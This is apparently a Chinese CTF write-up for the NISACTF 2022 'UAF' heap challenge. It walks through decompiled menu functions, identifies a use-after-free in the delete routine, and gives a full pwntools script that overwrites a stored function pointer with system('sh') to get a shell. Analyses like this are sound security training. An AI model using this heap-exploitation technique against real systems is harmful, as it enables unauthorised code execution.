[NISACTF 2022]UAF
1.准备

2.分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { _DWORD v3[4]; // [esp+8h] [ebp-10h] BYREF
v3[1] = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); while ( 1 ) { while ( 1 ) { puts("1.create"); puts("2.edit"); puts("3.delete"); puts("4.show"); putchar(58); __isoc99_scanf("%d", v3); if ( v3[0] != 2 ) break; edit(); } if ( v3[0] > 2 ) { if ( v3[0] == 3 ) { del(); } else if ( v3[0] == 4 ) { show(); } else { LABEL_13: puts("Invalid choice"); } } else { if ( v3[0] != 1 ) goto LABEL_13; create(); } } }
|
一个堆题正常的菜单,有增删改查功能,依次查看
1-create(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| int create() { int i; // eax int i_1; // ebx char *page; // eax
printf("you are creating the %d page\n", i); i = i; if ( i >= 0 ) { i = i; if ( i <= 9 ) { i_1 = i; (&page)[i_1] = (char *)malloc(8u); if ( i ) { if ( i <= 0 || i > 9 ) { return puts("NO PAGE"); } else { puts("Good cretation!"); return ++i; } } else { page = page; *(_DWORD *)page = 1868654951; page[4] = 0; *((_DWORD *)page + 1) = echo; puts("The init page"); return ++i; } } } return i; }
|
这里是添加堆块,固定了堆块的大小,并在申请的chunk内容从开始算,加上4个字节处写上echo函数地址
3-del(delete)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int del() { int i; // [esp+8h] [ebp-10h] BYREF unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &i); if ( i < 0 || i > i ) puts("NO PAGE"); else free((&page)[i]); return __readgsdword(0x14u) ^ v2; }
|
这里释放后,没修改指针,存在UAF漏洞
4-show函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned int show() { int i; // [esp+8h] [ebp-10h] BYREF unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &i); if ( i ) { if ( i <= 0 || i > i ) puts("NO PAGE"); else echo((&page)[i]); } else { (*((void (__cdecl **)(char *))page + 1))(page); } return __readgsdword(0x14u) ^ v2; }
|
这里大于0时,会输出堆块内容,当为0时,会调用page数组中的的二个位置(也就是创建堆块时echo函数地址存储的地方)
2-edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned int edit() { int i; // [esp+8h] [ebp-10h] BYREF unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &i); if ( i <= 0 || i > i ) { puts("NO PAGE"); } else { puts("Input your strings"); __isoc99_scanf("%s", (&page)[i]); } return __readgsdword(0x14u) ^ v2; }
|
这里修改堆块数据,不能修改堆块0的内容
system函数

3.思路
这题有UAF,有system函数,没直接的连接路径,show0块的时候会调用page数组中的的二个位置(也就是创建堆块时echo函数地址存储的地方),但edit不能修改0块内容
所以我们可以通过先创建0块,释放后,在创建1块,使下标0和下标1同时指向一个块(因为UAF,释放后没修改指针)
此时去构造system(‘sh’)(32位程序,/bin/sh会覆盖掉写入的system地址),获得连接
创建0块,释放后,在申请回来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28441) io= process('/home/motaly/uaf') elf=ELF('/home/motaly/uaf') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(): io.sendlineafter(":", "1")
def delete(index): io.sendlineafter(":", "3") io.sendlineafter("Input page", str(index))
def show(idx): io.sendlineafter(":", "4") io.sendlineafter("Input page", str(idx).encode())
def edit(index, content): io.sendlineafter(':','2') io.sendlineafter('Input page',str(index)) io.sendlineafter('Input your strings',content)
add() delete(0) add()
|

前面开始内容写入,后面是echo函数地址,show0块时调用的就是echo函数地址这里
此时下标0和下标1同时指向一个块(因为UAF,释放后没修改指针),下面我们对1块和0块的操作,其实都是对同一块的操作
接着修改1块的内容为sh和system地址
1 2 3 4 5
| add() delete(0) add()
edit(1, b'sh\x00\x00' + p32(elf.sym['system'])) //\x00\x00补齐作用
|

最后输出0块,会调用system函数,触发连接
1 2 3 4 5 6 7 8
| add() delete(0) add()
edit(1, b'sh\x00\x00' + p32(elf.sym['system']))
show(0) io.interactive()
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28441) io= process('/home/motaly/uaf') elf=ELF('/home/motaly/uaf') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(): io.sendlineafter(":", "1")
def delete(index): io.sendlineafter(":", "3") io.sendlineafter("Input page", str(index))
def show(idx): io.sendlineafter(":", "4") io.sendlineafter("Input page", str(idx).encode())
def edit(index, content): io.sendlineafter(':','2') io.sendlineafter('Input page',str(index)) io.sendlineafter('Input your strings',content)
add() delete(0) add()
edit(1, b'sh\x00\x00' + p32(elf.sym['system']))
show(0) io.interactive()
|